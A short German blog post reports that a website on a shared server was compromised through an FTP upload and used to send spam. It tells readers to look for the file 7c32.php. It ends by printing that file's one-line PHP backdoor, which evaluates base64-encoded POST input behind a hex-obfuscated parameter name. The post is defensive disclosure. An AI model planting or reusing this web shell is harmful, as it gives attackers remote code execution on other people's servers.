Der Server auf dem dieses Blog läuft, hostet auch einige andere Webseiten. Eine davon wurde gehackt und hat die letzten Tage unglaubliche Mengen an Spammails versendet. Kann passieren und passiert tatsächlich auch recht oft. Nur dieses Mal war es einfach eine Datei namens 7c32.php, die per FTP hochgeladen wurde und keine Sicherheitslücke von WordPress oder was auch immer man so laufen hat. Davor eine Datei ftpchk3.php um zu prüfen, ob das FTP Verzeichnis auch per Web erreichbar ist.
Der Angreifer wusste also den Benutzernamen, das Passwort und auf welcher Domain dieses Skript laufen würde und hat das genutzt um mit der PHP Funktion mail() Spam zu verschicken. Mitgeschnitten in einem Wifi Netz? Gezielter Hack? Trojaner? Wir wissen es nicht.
Das scheint übrigens ein älterer und vermutlich automatisierter Angriff zu sein. Eine Googlesuche nach 7c32.php bringt einige viele Suchergebnisse, die zum Teil bis 2012 zurückreichen.
Wie dem auch sei … einfach mal in der eigenen Installation von was auch immer (WordPress, Joomla, Webseite mit PHP) nach einer Datei 7c32.php (im Unterverzeichnis css) suchen. Die Datei ftpchk3.php wurde vom Angreifer wieder gelöscht, laut Netz enthält sie aber auch nur den Code:
echo "OK"
Be safe!
P.S.: Der Inhalt von 7c32.php:
< ? php if(isset($_POST["cod\x65"])){eval(base64_decode($_POST["co\x64e"]));} ? >